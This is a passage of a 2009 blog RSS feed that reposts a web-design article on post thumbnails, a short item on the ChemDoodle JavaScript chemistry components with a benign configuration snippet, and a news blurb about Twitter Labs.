href="http://feeds.feedburner.com/~ff/marcofolio?a=uLZ9Unc3d0w:rQNP1gS7YhE:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/79aeb_marcofolio?i=uLZ9Unc3d0w:rQNP1gS7YhE:V_sGLiPBpWU" border="0"></img></a>
</div>
<p><a href="http://feeds2.feedburner.com/marcofolio">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/tutorial/the-polaroid-photo-viewer-non-full-screen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beautiful Post Thumbnails: Top Examples &amp; Best Practices</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/beautiful-post-thumbnails-top-examples-best-practices/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/beautiful-post-thumbnails-top-examples-best-practices/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 10:59:28 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[tutorial]]></category>
		<category><![CDATA[web resources]]></category>
		<category><![CDATA[amp]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[background lighting]]></category>
		<category><![CDATA[David]]></category>
		<category><![CDATA[david leggett]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[lighting effect]]></category>
		<category><![CDATA[post]]></category>
		<category><![CDATA[simple amp]]></category>
		<category><![CDATA[stunning photograph]]></category>
		<category><![CDATA[thumbnail]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/beautiful-post-thumbnails-top-examples-best-practices/</guid>
		<description><![CDATA[Your blog post thumbnail will play a big part in how your users see your website, and how they navigate it. A well designed post thumbnail can really engage your visitors and help encourage them to explore your website. Examples of Post Thumbnails A very Unique Solution on Tutorial9 Introducing, a true master at making [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.wefunction.com/2009/09/beautiful-post-thumbnails"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/15ce9_beautiful_post_thumbnails.jpg" alt="" width="490" height="300" /></a></p>
<p>Your <strong>blog post thumbnail</strong> will play a big part in how your users see your website, and how they navigate it. A well designed post thumbnail can really <strong>engage</strong> your visitors and help encourage them to explore your website. <span></span></p>
<h4>Examples of Post Thumbnails</h4>
<h3>A very Unique Solution on Tutorial9</h3>
<p>Introducing, a true master at making an interesting post thumbnails, Mr <a title="David Leggett - A fantastic designer of Creative Post Thumbnails" href="http://www.theleggett.com/">David Leggett</a>. In this case a very bold &amp; unique use of the content (icons) to create a memorable thumbnail.</p>
<p><a href="http://www.tutorial9.net/resources/free-icon-pack-web-injection/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/26675_intro_1.jpg" alt="" width="490" height="360" /></a></p>
<h3>Clean and crisp thumbnail on AppStorm</h3>
<p>A very clean lighting effect in the background with a modern font &amp; great colors to catch attention. Notice the 1pixel white drop shadow on the word &#8220;interview&#8221; &#8211; a simple &amp; effective approach.</p>
<p><a href="http://mac.appstorm.net/general/interview-with-founders-of-envato-collis-and-cyan/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e991d_intro_7.jpg" alt="" width="490" height="360" /></a></p>
<h3>Keeping your Photographs Relevant (UX Booth)</h3>
<p>Another fantastic example from <a title="David Leggett of Tutorial 8" href="http://www.tutorial9.net/">David Leggett</a>. This time he&#8217;s not relied on his skill in Photoshop, he&#8217;s simply relied on that old favorite the photograph. A good looking, and relevant photo perfects your content perfectly.</p>
<p><a href="http://www.uxbooth.com/blog/tabbed-navigation-and-what-makes-it-useful/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/97542_intro_3.jpg" alt="" width="490" height="360" /></a></p>
<h3>Clever use of Screenshots on Obox</h3>
<p>This example by Obox shows how placement of the elements on the thumbnail can generate interest. You get a sneak peak at the content with some cleverly placed screenshots with a good background lighting effect and the all important text which looks fantastic and the contrast is perfect.</p>
<p><a href="http://www.wearenotfreelancers.co.za/view_item.cfm/title/two_new_themes_and_ones_free"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/5776a_intro_15.jpg" alt="" /></a></p>
<h3>Picking the Perfect Image, Courtesy of DesignShard</h3>
<p>Again, Keeping your image relevant is a must. And in this example another photo, but it has 3 things: simplicity, visual impact and relevance.</p>
<p><a href="http://www.designshard.com/web-design/get-more-traffic-with-good-design/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/9706a_intro_2.jpg" alt="" width="490" height="360" /></a></p>
<h3>OutlawDesign Makes the Thumbnails Part of the Design</h3>
<p>Two great examples on <a title="OutlawDesignBlog" href="http://outlawdesignblog.com">Outlaw Design Blog</a>. We see a stunning Photograph on one, and on the other one of the logo&#8217;s from inside the post has been chosen for the thumbnail, a great visual impact.</p>
<p>You can also start to see how the <em>blog design benefits from showcasing <strong>multiple</strong> good looking thumbnails</em>. The post thumbnails really become part of the design in this case.</p>
<p><a href="http://www.outlawdesignblog.com"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/fa357_intro_5.jpg" alt="" width="490" height="360" /></a></p>
<h3>UxBooth again with Text Over Photographs</h3>
<p>Using fantastic looking text on top of some really appealing images can be a real hit. This is a great example of strong typographic elements on top of a crisp &amp; relevant photograph.</p>
<p><a href="http://www.uxbooth.com/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/f8afc_intro_4.jpg" alt="" width="490" height="360" /><br />
</a></p>
<h3>WebDesignLedger Improve Exploration</h3>
<p>Apart from looking great, a relevant &amp; good looking thumbnail can help visitors navigate through your posts. This is particularly important if you have a lot of posts on your blog or site.</p>
<p><a href="http://webdesignledger.com/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d8da7_intro_6.jpg" alt="" width="490" height="360" /></a></p>
<h3>WebDesignerDepot Keep it Simple &amp; Effective</h3>
<p>If you are lucky enough to be writing about something that includes a lot of great looking content, show off this content. It&#8217;s not just a quick solution but a very effective one, and again it would help people who are scanning your content understand what the post includes.</p>
<p><a href="http://www.webdesignerdepot.com/2009/07/50-eye-popping-examples-of-concept-art/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/91817_intro_8.jpg" alt="" width="490" height="360" /></a></p>
<h3>Fubiz Lets the Image do the Talking</h3>
<p><strong>Layout</strong> can play a big part in the effectiveness of your thumbnails. This example uses quite a large image with a simple line of text. For me these are very useful, especially when the image is very pretty!</p>
<p><a href="http://www.fubiz.net"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/711de_intro_9.jpg" alt="" width="490" height="360" /><br />
</a></p>
<h3>Fubiz does more with their Thumbnails</h3>
<p>Having such interesting post thumbnails gives you the chance to experiment with alternative ways of navigating content, like this fantastic gallery view on <a title="Fubiz" href="http://fubiz.net">Fubiz</a>.</p>
<p><a href="http://www.fubiz.net"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a25a6_intro_10.jpg" alt="" width="490" height="360" /></a></p>
<h3>Build Internet combine Photography &amp; Text</h3>
<p>Text on the top of a photo once again, just another example of how this can work so very well. Remember our <a title="Quality within Web Design Tips" href="http://wefunction.com/2009/04/quality-within-web-design/">quality</a> tips too when putting together any graphics.</p>
<p><a href="http://buildinternet.com/2009/07/the-rebranding-of-a-company-a-case-study/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a2435_intro_11.jpg" alt="" width="490" height="360" /></a></p>
<h3>Good Thumbnail Positioning on PSDTuts</h3>
<p>The layout of your thumbnails is important. This style (which I first saw used across the Envato sites) seems to be very popular with bloggers.</p>
<p><a href="http://psd.tutsplus.com/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d5441_intro_12.jpg" alt="" width="490" height="360" /><br />
</a></p>
<h3>WebDesignerWall Uses CSS to Style Thumbnails</h3>
<p>A Simple use of a gradient &amp; some nice typography. What I like about Web Designer Wall is that each of their thumbnails has the white edge with a gray border, it gives your images a bit of consistency and having a default style on images can make them fit in with your site a lot better.</p>
<p><a href="http://www.webdesignerwall.com/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d74dd_intro_13.jpg" alt="" width="490" height="360" /></a></p>
<p><a href="http://psd.tutsplus.com/"></a></p>
<p><a href="http://www.fubiz.net"></a></p>
<p><a href="http://www.uxbooth.com/blog/tabbed-navigation-and-what-makes-it-useful/"></a></p>
<h3>Imeem have also styled their Thumbnail Border</h3>
<p>Every thumbnail on the <a title="imeem" href="http://imeem.com">imeem</a> website looks like it&#8217;s almost a photo sitting on top of the page. There actual photo <strong>does not</strong> have this effect on it, the <strong>frame around the image</strong> has been made &amp; just sits behind, this makes your thumbnail look as if it&#8217;s it&#8217;s part of the frame, but really it&#8217;s all separate.</p>
<p>It&#8217;s a easy way of styling multiple images and leaves you open to change the style of the border, when you update your web design.</p>
<p><a href="http://www.imeem.com/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/6da33_intro_18.jpg" alt="" width="490" height="360" /></a><a href="http://www.webdesignerwall.com/"><br />
</a></p>
<h4>Methods of Making Creative Thumbnails</h4>
<p><strong>Summing up your post into one image</strong>, and making it look attractive is a big part of catching the interest of readers who are exploring your homepage. It has also become more common to see thumbnails next to blog title on a homepage, rather than just text. Layout of the image is important too, finding the perfect place to put your image is an art in itself. Sometimes a full image is used, sometimes a small thumbnail, anything from a photo to a sketch or full vector illustration, the ability to create so <strong>many different</strong> things should be your biggest advantage!</p>
<p>You have a <strong>fresh canvas with each blog post</strong>, you don&#8217;t need to keep constancy with your thumbnails &amp; post images, each one can be a new work of art, a chance to express yourself and a chance to back up what you are writing with your creativity.</p>
<p>There are a variety of ways capturing &amp; creating the perfect thumbnail for your post, but it&#8217;s important that the image <strong>compliments the post</strong>, keeps relevant and isn&#8217;t too complicated &#8211; we&#8217;re going to explain a select few examples in further detail now.</p>
<h4>Unique &amp; Custom Graphics</h4>
<p>Without doubt this would be the most time consuming way of creating good looking thumbnail/introduction images for your post, but as you will see it&#8217;s clearly worth the time when you get it right. This process would involve looking at the post as a product, and the post thumbnail as an advert for that product, you need to find creative ways to best showcase that product, using a mix of various design methods.</p>
<h3>A closer Look at Tutoria9&#8217;s Unique &amp; Bold Style</h3>
<p><a title="David Leggett - A fantastic designer of Creative Post Thumbnails" href="http://www.theleggett.com/">David Leggett</a>, the fantastic designer behind <a title="Tutorial9 - Top Quality Tutorials" href="http://www.tutorial9.net">Tutorial9</a> has included some important techniques to style his thumbnail, a nicely executed <em>drop shadow</em>, a background <em>lighting effect</em> that helps to build depth, and also some <em>blur</em> is applied on some elements to also build depth and give the image something different visually. David has also kept some basic ideas in mind, such as <strong>contrast</strong> (light on dark) and he&#8217;s included a tag-line.</p>
<p>I think this example is a <strong>great use of space</strong>, and the fact David has made his image posts such a big feature on his site gives him room to experiment &amp; create something outstanding each time. Have a think about what you can take from this and apply to your next blog thumbnail, remember to keep <a title="How to Spot Quality in Web Design" href="http://wefunction.com/2009/04/quality-within-web-design/">Quality</a> in mind.</p>
<p><a href="http://www.tutorial9.net/resources/free-icon-pack-web-injection/"><img class="size-full wp-image-1034 alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/06c9f_intro_14.jpg" alt="" width="490" height="360" /></a></p>
<h4>Relevant &amp; Interesting Photography</h4>
<p>Photographs have always been a very pure and captivating way of getting a point across or sharing an emotion. They can keep those same attributes when being used in you thumbnails. Remember to spend some time, either taking images yourself, browsing stock photo websites or searching <a title="Flickr Creative Commons Search" href="http://www.flickr.com/search/?q=&amp;l=commderiv&amp;ss=0&amp;ct=0&amp;mt=all&amp;w=all&amp;adv=1">flickr</a> for captivating images that the author has released under the <strong>creative commons</strong> agreement.<strong> </strong><em>*Use Advanced search for Creative Commons settings</em></p>
<h3>Example of Relevant Photographic Thumbnail</h3>
<p>This Article on <a title="SimpleMom" href="http://simplemom.com">Simplemom</a> is a fantastic example of getting your images absolutely right. The image wasn&#8217;t taken by the author of the article, but it couldn&#8217;t get any more relevant to the topic. This just goes to show how taking the time to find a perfect image is well worth it, and a clever photograph really helps to <strong>compliment your content</strong> &amp; invite readers to your post.</p>
<p><a href="http://simplemom.net/category/money-management/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/63270_intro_16.jpg" alt="" width="490" height="360" /></a></p>
<p>Other than symbolizing the content of the article very well it&#8217;s also a pretty image visually, I like the feeling of depth and the contrast with the colors and the whole composition just ticks all the right boxes. Remember if your original photo doesn&#8217;t have all of these things, some simple <a title="Photoshop Touchup Tutorials" href="http://vandelaydesign.com/blog/design/photoshop-touchup-tutorials/">touch up&#8217;s</a> in Photoshop wouldn&#8217;t go a miss.</p>
<h4>Creativity with Screenshots</h4>
<p>Many posts online these days (this one included) have a lot of images throughout. If you&#8217;re writing about something that exists on a website or blog you might have some screenshots to support your content. If you do a small amount of work in Photoshop you can make these screenshots worth of a thumbnail.</p>
<h3>Fine Example of Using Screenhots as your Thumbnail</h3>
<p>In this example by <a title="Andrew Houle" href="http://www.myinkblog.com/">Andrew</a>, he&#8217;s used a screenshot as the backrgound to the image. Rather than a standard screenshot he has cleverly built up a sense of 3D and <strong>depth</strong> &#8211; first by creating a lighting effect, and then placing the screenshot at an angle, to give the feel that it&#8217;s not just a flat image. He&#8217;s brilliantly continued this theme by placing a really nice graphic on top of a post-it note.</p>
<p>I really like how Andrew has built something up from nothing, and with a little bit of effort he&#8217;s created something truly interesting that works.</p>
<p><a href="http://www.myinkblog.com/"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/19e0e_intro_17.jpg" alt="" width="490" height="360" /></a></p>
<h4>Multiple Uses for your Thumbnails</h4>
<p>Using thumbnails gives you the advantage of using them in a variety of ways, and in a variety of places throughout your website. Having the choice to do what you want with them means you can be as creative, or as straight forward as possible. Let&#8217;s look at a few solutions.</p>
<h3>Featured Posts Slider</h3>
<p>GOOD is a fantastic website design all in all. But the featured posts with thumbnails are a particularly beautiful element of their website. The thumbnails are very good looking, but the layout and the use of a scrolling showcase transform them from just being beautiful, to being incredibly useful.<a href="http://www.good.is"></a></p>
<p><a href="http://www.good.is"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d81e0_intro_19.jpg" alt="" width="490" height="360" /></a></p>
<h3>Gallery of Posts</h3>
<p>The Autoblog website has a lot of new articles each day, so drawing attention to posts can be hard and things quickly move off the front page, so having a gallery style feature area allows for you to keep interest on a article long after it has been publishes. It also improves interactivity, and although I&#8217;m not completely in love with the design, it works very well and could look very nice.</p>
<p>Another good example of this would be <a title="Fubiz - Gallery of Posts" href="http://fubiz.net">Fubiz</a> (as featured earlier in the post).</p>
<p><a href="http://www.autoblog.com"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a4c2e_intro_20.jpg" alt="" width="490" height="360" /><br />
</a></p>
<h3>Make Lists easier to Scan</h3>
<p>For sites that have a lot of content listing other articles, be it popular, featured or recommended etc, is quite an important part of internal traffic and exploration by users. Sometimes these lists can look a little un-inviting, especially if long. Adding thumbnails to your lists could be a great solution.</p>
<p><a href="http://www.autoblog.com"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/85576_intro_21.jpg" alt="" /></a></p>
<h3>Draw Attention to Related Posts</h3>
<p>Thumbnails with related posts not only look great, but provide something stimulating and fresh to look at, and gives the user something to do once they have finished reading your post. Without doubt it&#8217;s a smart way of drawing and keeping attention on your articles</p>
<p><a href="http://www.uxbooth.com"><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a3ec3_intro_22.jpg" alt="" width="490" height="360" /></a></p>
<h4>Think about the Positioning on your Blog</h4>
<p>Aside from using in galleries, sidebars and below your content for related posts, you need to get the positioning of your blog post right from the very beginning. Think about in which pages your thumbnail is going to be used, and how in you can best display the image to benefit both the content and the user.</p>
<h4>Example Layout Mock-Ups for you</h4>
<p>From the examples on this article I&#8217;ve created some quick mock-ups of popular layout and positioning of thumbnails which could spark some ideas for your own blog. These are just quick examples but illustrate only a handful of successful ways you could integrate thumbnails into the layout of your blog posts.</p>
<h3>Full (Fixed) Width</h3>
<p>Using the full column width gives you a lot of space to use, and there is a good balance between content and the image. The down side is that it doesn&#8217;t look great on fluid width sites.</p>
<p><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/10244_layout_1.jpg" alt="" width="490" height="360" /></p>
<h3>Next To Title</h3>
<p>Your images tend to be smaller in these places, but the positioning is great &amp; it makes scanning through the posts very easy.</p>
<p><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/72cbe_layout_2.jpg" alt="" width="490" height="360" /></p>
<h3>Next to Title Right</h3>
<p>Another fantastic solution, I think this one looks great and keeps your title in line with your text.</p>
<p><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/16e35_layout_5.jpg" alt="" width="490" height="360" /></p>
<h3>Thumbnail within Content</h3>
<p>To keep focus on the title you could move the thumbnail to a more obvious place. In this position the image is part of the content, and the text can wrap around it or go along side it. A good solution but for me not always the best looking.</p>
<p><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/0d192_layout_3.jpg" alt="" width="490" height="360" /></p>
<h3>Thumbnail within Content (Right Side)</h3>
<p>Same advantages and disadvantages as mentioned above. Although this one doesn&#8217;t break up the layout on the text as much and for me sometimes is a better solution then the one above.</p>
<p><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/73933_layout_4.jpg" alt="" width="490" height="360" /></p>
<h3>Full Image with Small Paragraph</h3>
<p>If the content is visual based &amp; you have a lot of good photos or images you could use a full image could be a huge hit. Trying to describe how cool something looks is nowhere near as good sa just show how good it looks, and that&#8217;s a big plus for this layout option.</p>
<p><img class="alignnone" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/5451e_layout_6.jpg" alt="" width="490" height="360" /></p>
<h4>Final Thoughts &amp; Tips</h4>
<p>The point of this post was not to just simply show you some good looking screenshots, we intended to make you <strong>think about why</strong> you should be using thumbnails on your blog, and show you how a little time &amp; effort with your post thumbnail.</p>
<p>This is not something for designers specifically, it&#8217;s more for <strong>content writers</strong> and <strong>webmasters</strong> to start thinking about how and why then can help their users by either putting some time in yourself, or hiring somebody who can create such images for you.</p>
<blockquote><p><em>• <strong>Keep it Relevant</strong><br />
Relevant images will compliment your content and help users to navigate your site if you integrate them well.<br />
</em></p>
<p><em>• <strong>Don&#8217;t be afraid to Pay for Quality</strong><br />
Whether it&#8217;s paying for good quality images, or hiring a designer to spend a little time working on a creative thumbnail for a post.</em></p>
<p><em></em><em>• <strong>Make sure you give Credit</strong><br />
If you use an image from flickr for example, it&#8217;s always nice to give a link back to the original source and author.</em></p>
<p><em>• <strong>Think about your Layout</strong><br />
If you&#8217;re going to add thumbnails to your posts have a good think about where you are going to place them.</em></p>
<p><em></em><em>• <strong>Think of creative ways to use them</strong><br />
Once your blog posts each have a cool thumbnail start thinking of interesting ways you can get your users to interact with your content  &#8211; use your thumbnails to your advantage.</em><br />
<em></em></p>
</blockquote>
<h4>Resources</h4>
<p><a title="iStockPhoto Quality Images" href="http://istockphoto.com">iStockphoto.com</a> | Loads of quality Images<br />
<a title="Graphic River" href="http://graphicriver.net/?ref=liam_uk7">GraphicRiver</a> | Various Icons, Illustrations &amp; Stock Imagery<br />
<a title="Dreamstime Images" href="http://www.dreamstime.com/">Dreamstime</a> | Big collection of premium Images<br />
<a title="Free Images" href="http://sxc.hu">Sxc.hu</a> | Free images, beware that these images are often over-used<br />
<a title="StockVault free images" href="http://www.stockvault.net/">StockVault</a> | Quality free images<br />
<a title="Flickr CC Search" href="http://www.flickr.com/search/?q=&amp;l=commderiv&amp;ss=0&amp;ct=0&amp;mt=all&amp;w=all&amp;adv=1">Flickr</a> | A link to Flickr Creative Commons search<br />
<a title="MyInkBlog Screenshot Tutorial" href="http://www.myinkblog.com/create-a-simple-photoshop-action-for-screenshots/">Photoshop Action for Screenshots</a> | Tutorial that could be used for Thumbnails<br />
<a title="Using Images to Take Your Posts to a New Level" href="http://www.problogger.net/archives/2007/11/13/using-images-to-take-your-posts-to-a-new-level/">Using Images to Take Your Posts to a New Level</a> | Fantastic Video &amp; Post<br />
<a title="Find Free Photos for your Blog" href="http://www.goldengod.net/2007/03/16/how-to-find-great-free-photos-for-your-blog/">How To Find Free Photos for your Blog</a> | Great tips and resources</p>
<p><a href="http://www.autoblog.com"></a></p>
<p><a href="http://wefunction.com/feed/">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/beautiful-post-thumbnails-top-examples-best-practices/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ChemDoodle Web Components</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/chemdoodle-web-components/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/chemdoodle-web-components/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 13:01:23 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[atoms]]></category>
		<category><![CDATA[ChemDoodle]]></category>
		<category><![CDATA[D Rotator]]></category>
		<category><![CDATA[D.loadMolecule]]></category>
		<category><![CDATA[D.startRotation]]></category>
		<category><![CDATA[D.yIncrement]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[javascript objects]]></category>
		<category><![CDATA[math pi]]></category>
		<category><![CDATA[source]]></category>
		<category><![CDATA[text javascript]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[web components]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/chemdoodle-web-components/</guid>
		<description><![CDATA[Via jzornig comes news of a cool set of components written with HTML 5 and the Canvas tag: ChemDoodle Web Components are pure javascript objects derived from ChemDoodle™ to solve common chemistry related tasks on the web. These components are powerful, fully customizable, easy to implement, and are free under the open source GPL license. [...]]]></description>
			<content:encoded><![CDATA[<p>Via <a href="http://twitter.com/jzornig/statuses/4483941078">jzornig</a> comes news of a <a href="http://web.chemdoodle.com/overview.php">cool set of components</a> written with HTML 5 and the Canvas tag:</p>
<p><a href="http://web.chemdoodle.com/overview.php"><img class="aligncenter size-full wp-image-7479" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/5498f_chemdoodle1.png" alt="chemdoodle1" width="412" height="242" /></a></p>
<blockquote>
<p>ChemDoodle Web Components are pure javascript objects derived from ChemDoodle™ to solve common chemistry related tasks on the web. These components are powerful, fully customizable, easy to implement, and are free under the open source GPL license.</p>
</blockquote>
<p>The page shows example usage of the components. <a href="http://web.chemdoodle.com/components.php#rotator">To use the 3D Rotator component</a>, for example, you just provide some JavaScript to configure it:</p>
<p><div><a href="showCodeTxt('javascript-2');">PLAIN TEXT</a></div>
<div><span>JAVASCRIPT:</span></p>
<div>
<div>
<ol>
<li>
<div><span>var</span> rotate3D = <span>new</span> RotatorCanvas<span>&#40;</span><span>&#8216;rotate3D&#8217;</span>, <span>200</span>, <span>200</span>, <span>true</span><span>&#41;</span>;</div>
</li>
<li>
<div>rotate3D.<span>specs</span>.<span>atoms_useJMOLColors</span> = <span>true</span>;</div>
</li>
<li>
<div>rotate3D.<span>specs</span>.<span>atoms_circles</span> = <span>true</span>;</div>
</li>
<li>
<div>rotate3D.<span>specs</span>.<span>bonds_symmetrical</span> = <span>true</span>;</div>
</li>
<li>
<div>rotate3D.<span>specs</span>.<span>backgroundColor</span> = <span>&#8216;#E4FFC2&#8242;</span>;</div>
</li>
<li>
<div>rotate3D.<span>yIncrement</span> = -Math.<span>PI</span> / <span>360</span>;</div>
</li>
<li>
<div>rotate3D.<span>loadMolecule</span><span>&#40;</span>readMOL<span>&#40;</span>threed<span>&#41;</span><span>&#41;</span>;</div>
</li>
<li>
<div>rotate3D.<span>startRotation</span><span>&#40;</span><span>&#41;</span>; </div>
</li>
</ol>
</div>
</div>
</div>
<div>
<a href="http://feeds.feedburner.com/~ff/ajaxian?a=tXwnL_CrAxU:6hcXXhOV8dw:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/75f7a_ajaxian?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ajaxian?a=tXwnL_CrAxU:6hcXXhOV8dw:7Q72WNTAKBA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/f22fe_ajaxian?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ajaxian?a=tXwnL_CrAxU:6hcXXhOV8dw:D7DqB2pKExk"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e0e83_ajaxian?i=tXwnL_CrAxU:6hcXXhOV8dw:D7DqB2pKExk" border="0"></img></a>
</div>
<p><a href="http://feeds2.feedburner.com/ajaxian">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/chemdoodle-web-components/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter experimenting with a labs of its own</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/twitter-experimenting-with-a-labs-of-its-own/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/twitter-experimenting-with-a-labs-of-its-own/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 12:52:09 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[Britt]]></category>
		<category><![CDATA[course developers]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google labs]]></category>
		<category><![CDATA[London]]></category>
		<category><![CDATA[Selvitelle]]></category>
		<category><![CDATA[tweets]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web apps]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/twitter-experimenting-with-a-labs-of-its-own/</guid>
		<description><![CDATA[Could Twitter Labs prevent drunken tweets like Google Labs hinders drunken e-mails? Here&#8217;s hoping. Britt Selvitelle, Twitter&#8217;s user experience and front end engineering lead, said Friday that the company will soon launch Twitter Labs. The service will let developers create add-ons and other functions for the microblogging site. Of course, developers can already do this [...]]]></description>
			<content:encoded><![CDATA[<p>
Could Twitter Labs prevent drunken tweets like Google Labs <a href="http://news.cnet.com/google-launches-mail-goggles-to-save-you-from-yourself/">hinders drunken e-mails</a>? Here&#8217;s hoping.
</p>
<p>
Britt Selvitelle, Twitter&#8217;s user experience and front end engineering lead, said Friday that the company will soon launch Twitter Labs. The service will let developers create add-ons and other functions for the microblogging site. Of course, developers can already do this with Twitter&#8217;s API, but this will make Twitter a formal participant in the process.
</p>
<p>
Selvitelle announced the project at the Future of Web Apps conference in London. He did not offer many details, but it sounds similar in function to Google Labs. Google Labs, for example, launches every few weeks (or sometimes days) new experimental functions for Gmail. The <a href="http://news.cnet.com/take-it-back-gmail-gets-undo-send-labs-feature">Undo Send</a> feature, which lets people recall an e-mail within seconds of sending it, is one example.
</p>
<p>
Will Twitter Labs do the same? One can at least hope. In which case, I will be able to recall Tweets <a href="http://twitter.com/natalidelconte/status/4345844783">like this</a>.
</p>
<p>Originally posted at <a href="http://news.cnet.com/8301-1023_3-10366155-93.html">News &#8211; Digital Media</a></p>
<div>
